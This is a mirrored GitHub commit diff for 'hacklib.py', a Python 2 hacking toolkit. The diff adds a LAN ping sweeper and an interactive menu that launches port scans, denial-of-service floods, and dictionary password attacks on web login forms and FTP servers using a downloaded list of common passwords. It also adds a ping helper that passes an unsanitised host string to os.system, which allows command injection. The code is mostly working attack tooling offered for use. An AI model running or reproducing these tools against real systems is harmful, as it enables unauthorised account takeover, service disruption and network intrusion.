Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 3af30dc

Browse files
committed
Lan scanning and UI
1 parent 8c9dccb commit 3af30dc

File tree

1 file changed

+282
-19
lines changed

1 file changed

+282
-19
lines changed

hacklib.py

Lines changed: 282 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
1919
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'''
2020

21-
import socket, httplib, threading, time, urllib2
21+
import socket, httplib, threading, time, urllib2, os
2222
from Queue import Queue
2323

2424
class FTPAuth(object):
@@ -34,7 +34,7 @@ def __init__(self, IP, port=21):
3434
self.username = ''
3535
self.password = ''
3636
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
37-
self.s.settimeout(8)
37+
self.s.settimeout(3)
3838
self.s.connect((self.IP, self.port))
3939
self.s.recv(1024)
4040

@@ -47,6 +47,8 @@ def login(self, username, password):
4747
response = self.send('PASS ' + password + '\r\n')
4848
if '230' in response:
4949
return
50+
elif '331' in response:
51+
return 'Password required'
5052
else:
5153
raise Exception(response)
5254

@@ -76,7 +78,7 @@ def _login_mechanize(self):
7678
try:
7779
import mechanize
7880
except:
79-
raise Exception('Please install the mechanize module before continuing.')
81+
raise MissingPackageException('Please install the mechanize module before continuing.')
8082
# Sets up common input names/ids and creates instance of mechanize.Browser()
8183
userfields = ['user', 'username', 'usr', 'email', 'name', 'login', 'userid', 'userid-input', 'player']
8284
passfields = ['pass', 'password', 'passwd', 'pw', 'pwd']
@@ -236,6 +238,8 @@ def _portscan(self, port):
236238
Accept-Encoding: gzip, deflate''' + '\r\n\r\n'
237239
s.send(headers)
238240
response = s.recv(1024)
241+
response = response.splitlines()
242+
response = '\n'.join(response[:7])
239243
self.openlist.append(port)
240244
if self.verbose:
241245
with self.print_lock:
@@ -275,6 +279,99 @@ def scan(self, IP, port_range = (1, 1025), timeout = 1, verbose = True):
275279

276280
self.q.join()
277281

282+
class LanScanner(object):
283+
'''Scans local devices on your LAN network.
284+
Commands:
285+
scan() Args: host_range(default (1, 255))
286+
'''
287+
288+
def __init__(self):
289+
self.host_range = []
290+
self.alive_hosts = []
291+
self.localIP = ''
292+
293+
def _threader(self):
294+
while True:
295+
self.worker = self.q.get()
296+
self._scan(self.worker)
297+
self.q.task_done()
298+
299+
def _scan(self, host):
300+
import subprocess
301+
try:
302+
resp = subprocess.check_output(['ping', '-c1', '-W90', host])
303+
self.alive_hosts.append(host)
304+
except: return
305+
306+
def getLocalIP(self):
307+
import subprocess
308+
proc = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE, shell=True)
309+
(out, err) = proc.communicate()
310+
data = out.splitlines()
311+
for line in data:
312+
if 'inet ' in line and '127.' not in line:
313+
return line.split(' ')[1]
314+
315+
def scan(self, h_range = (1, 255)):
316+
# Finds local IP first in order to determine IP range of local network
317+
localip = self.getLocalIP()
318+
stub = '.'.join(localip.split('.')[:-1])
319+
# Adds list of possible local hosts to self.range_range
320+
for i in range(h_range[0], h_range[1]):
321+
self.host_range.append(stub + '.' + str(i))
322+
self.q = Queue()
323+
# Launches 100 threads to ping 254 potential hosts
324+
for x in range(100):
325+
t = threading.Thread(target=self._threader)
326+
t.daemon = True
327+
t.start()
328+
for worker in self.host_range:
329+
self.q.put(worker)
330+
self.q.join()
331+
return list(set(self.alive_hosts))
332+
333+
class _Getch:
334+
"""Gets a single character from standard input. Does not echo to the
335+
screen."""
336+
def __init__(self):
337+
try:
338+
self.impl = _GetchWindows()
339+
except ImportError:
340+
try:
341+
self.impl = _GetchUnix()
342+
except ImportError:
343+
self.impl = _GetchMacCarbon()
344+
345+
def __call__(self): return self.impl()
346+
347+
348+
class _GetchUnix:
349+
def __init__(self):
350+
import tty, sys, termios
351+
352+
def __call__(self):
353+
import sys, tty, termios
354+
try:
355+
fd = sys.stdin.fileno()
356+
old_settings = termios.tcgetattr(fd)
357+
try:
358+
tty.setraw(sys.stdin.fileno())
359+
ch = sys.stdin.read(1)
360+
finally:
361+
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
362+
return ch
363+
except: return raw_input('> ')
364+
365+
class _GetchWindows:
366+
def __init__(self):
367+
import msvcrt
368+
369+
def __call__(self):
370+
try:
371+
import msvcrt
372+
return msvcrt.getch()
373+
except: return raw_input('> ')
374+
278375
class Proxy(object):
279376
'''Can work in conjunction with getProxies() to tunnel all
280377
network activity in the Python script through a Socks4/5 proxy.
@@ -337,7 +434,6 @@ def importFromString(code, name):
337434
exec code in module.__dict__
338435
return module
339436

340-
341437
def getIP(host):
342438
return socket.gethostbyname(host)
343439

@@ -349,9 +445,9 @@ def getProxies(country_filter = 'ALL', proxy_type = ('Socks4', 'Socks5')):
349445
proxy_type: Specify whic Socks version to use, e.g. 'Socks5'
350446
'''
351447
try: import mechanize
352-
except: raise Exception('Please install the mechanize module before continuing.')
448+
except: raise MissingPackageException('Please install the mechanize module before continuing.')
353449
try: from bs4 import BeautifulSoup
354-
except: raise Exception('Please install the beautifulsoup4 module before continuing.')
450+
except: raise MissingPackageException('Please install the beautifulsoup4 module before continuing.')
355451
br = mechanize.Browser()
356452
br.set_handle_robots(False)
357453
br.addheaders = [('User-agent', 'googlebot')]
@@ -398,49 +494,216 @@ def send(IP, port, message, keepalive = False):
398494
sock.close()
399495
return response
400496

497+
def ping(host):
498+
"""Pings a host and returns true if the host exists.
499+
"""
500+
import os, platform
501+
ping_str = "-n 1" if platform.system().lower()=="windows" else "-c 1"
502+
return os.system("ping " + ping_str + " " + host) == 0
503+
401504
def topPasswords(amount):
402-
'''Get up to 1,000,000 most common passwords.
505+
'''Get up to 100,000 most common passwords.
403506
'''
404507
url = 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt'
405508
passlist = urllib2.urlopen(url).read().split('\n')
406509
return passlist[:amount]
407510

511+
def uiPortScan(address):
512+
print ''
513+
print '1) default scan (port range 1-1024)'
514+
print '2) custom range'
515+
ink = _Getch()
516+
cmd = ink()
517+
ps = PortScanner()
518+
print 'Beginning port scan.'
519+
if cmd == '1':
520+
ps.scan(address)
521+
if cmd == '2':
522+
s_port = raw_input('Input starting port > ')
523+
e_port = raw_input('Input end port >')
524+
ps.scan(address, (s_port, e_port))
525+
print 'Port scan complete.'
526+
527+
def uiDOS(address):
528+
dos = DOSer()
529+
print ''
530+
duration = raw_input('Duration > ')
531+
threads = raw_input('Threads > ')
532+
port = int(raw_input('Port > '))
533+
payload = raw_input('Payload > ')
534+
print 'Launching DOS attack'
535+
dos.launch(address, duration, threads, port, payload)
536+
537+
def uiTCPMessage(address):
538+
print ''
539+
port = int(raw_input('Input port >'))
540+
message = raw_input('Message > ')
541+
send(address, port, message)
542+
543+
def uiLogin(address):
544+
print ''
545+
print 'Select login type'
546+
print '1) HTTP/Form login'
547+
print '2) FTP login'
548+
print '3) Exit'
549+
print ''
550+
ink = _Getch()
551+
cmd = ink()
552+
if cmd == '1':
553+
ac = AuthClient()
554+
print '1) Dictionary attack'
555+
print '2) Exit'
556+
ink = _Getch()
557+
cmd = ink()
558+
if cmd == '1':
559+
username = raw_input('Username > ')
560+
print '1) Try most common passwords'
561+
print '2) Import password list (separated by newline)'
562+
cmd = ink()
563+
if cmd == '1':
564+
print 'Try the top <input number> out of 100,000 most common passwords:'
565+
num = int(raw_input('> '))
566+
passwords = topPasswords(num)
567+
if cmd == '2':
568+
passfile = raw_input('Filepath > ')
569+
with open(passfile, 'r') as f:
570+
passwords = passfile.read().splitlines()
571+
print 'Input a unique string the webpage may respond with if login fails'
572+
print 'i.e. "please try again" or "login failed"'
573+
failstring = raw_input('> ')
574+
for password in passwords:
575+
try:
576+
data = ac.login(address, username, password)
577+
if failstring in data:
578+
print password + ' failed'
579+
elif failstring not in data:
580+
print 'Login success!'
581+
print 'Password is: ' + password
582+
time.sleep(2)
583+
return
584+
except:
585+
print password + ' failed'
586+
if cmd == '2':
587+
return
588+
589+
if cmd == '2':
590+
ftp = FTPAuth(address)
591+
print '1) Dictionary attack'
592+
print '2) Single login'
593+
print '3) Exit'
594+
ink = _Getch()
595+
cmd = ink()
596+
username = raw_input('Username > ')
597+
if cmd == '1':
598+
print 'Try the top <input number> out of 100,000 most common passwords:'
599+
num = raw_input('> ')
600+
for password in topPasswords(num):
601+
try:
602+
response = ftp.send('USER ' + username + '\r\n')
603+
if '331' in response:
604+
response = ftp.send('PASS ' + password + '\r\n')
605+
if '331' in response:
606+
response = ftp.send('PASS ' + password + '\r\n')
607+
if '230' in response:
608+
print 'Login success!'
609+
print 'Password is: ' + password
610+
time.sleep(2)
611+
return
612+
if '530' in response:
613+
print password + ' failed.'
614+
ftp = FTPAuth(address)
615+
except:
616+
print password + ' failed.'
617+
ftp = FTPAuth(address)
618+
619+
if cmd == '2':
620+
username = raw_input('Username > ')
621+
ftp.send('USER ' + username + '\r\n')
622+
password = raw_input('Password > ')
623+
ftp.send('PASS ' + password + '\r\n')
624+
if cmd == '3':
625+
return
626+
627+
def uiLanScan():
628+
lan = LanScanner()
629+
print 'Starting Lan scan'
630+
hosts = lan.scan()
631+
for ip in hosts:
632+
print ip
633+
print 'Lan scan complete.'
634+
time.sleep(2)
635+
408636
def userInterface():
409-
'''Start text-based interface for easier usage if hacklib isn't being used as a library.
637+
'''Start UI if hacklib isn't being used as a library.
410638
'''
639+
firstrun = 0
411640
while True:
412-
print 'Enter an IP address or URL for further options.'
413-
print 'Or, enter "proxy" to connect to a proxy.'
414-
cmd = raw_input('> ')
415-
if '.' in cmd: # Checks for . to make sure it's an IP or URL
416-
address = getIP(cmd)
641+
if firstrun == 0:
642+
print '----------------------------------------------'
643+
print 'Hey. What can I do you for?'
644+
print '\n'
645+
firstrun += 1
646+
print 'Enter the number corresponding to your choice.'
647+
print ''
648+
print '1) Connect to a proxy'
649+
print '2) Target an IP or URL'
650+
print '3) Lan Scan'
651+
print '4) Exit'
652+
ink = _Getch()
653+
cmd = ink()
654+
if cmd == '4':
655+
return
656+
if cmd == '2':
657+
address = raw_input('Input IP or URL > ')
658+
if '.' not in address:
659+
print 'Invalid IP/URL.'
660+
return
417661
print 'What would you like to do?'
418-
print '1) PortScan'
662+
print ''
663+
print '1) Port scan'
419664
print '2) DOS'
420665
print '3) Send TCP message'
421666
print '4) Attempt login'
422-
cmd = getIP(raw_input('> '))
423-
elif 'proxy' in cmd:
667+
print '5) Exit'
668+
cmd = ink()
669+
if cmd == '1': uiPortScan(getIP(address))
670+
if cmd == '2': uiDOS(getIP(address))
671+
if cmd == '3': uiTCPMessage(getIP(address))
672+
if cmd == '4': uiLogin(address)
673+
cmd = ''
674+
675+
if cmd == '3':
676+
uiLanScan()
677+
678+
if cmd == '1':
424679
print 'Would you like to automatically find a proxy or input one manually?'
425680
print 'Enter the number corresponding to your choice.'
681+
print ''
426682
print '1) Auto'
427683
print '2) Manual'
428-
cmd = raw_input('> ')
684+
cmd = ink()
685+
print 'Connecting to a SOCKS proxy.'
429686
proxies = getProxies()
430687
global proxy
431688
proxy = Proxy()
432689
if cmd == '1':
433690
proxy.connect(getProxies())
434691
print 'Your new IP address is ' + proxy.IP
435692
print 'This proxy is located in ' + proxy.country
436-
elif cmd == '2':
693+
print '---------'
694+
time.sleep(2)
695+
if cmd == '2':
437696
pr_address = raw_input('Proxy address > ')
438697
pr_port = raw_input('Proxy port > ')
439698
pr_type = raw_input('Enter "Socks4" or "Socks5" > ')
440699
try: proxy.connect_manual(pr_address, pr_port, pr_type)
441-
except: print 'Connection failed.'; pass
700+
except: print 'Connection failed.'; time.sleep(2); pass
442701
print 'Proxy connected.'
702+
time.sleep(2)
443703
pass
444704

445705
if __name__ == '__main__':
446706
userInterface()
707+
708+
class MissingPackageException(Exception):
709+
'''Raise when 3rd party modules are not able to be imported.'''

0 commit comments

Comments
 (0)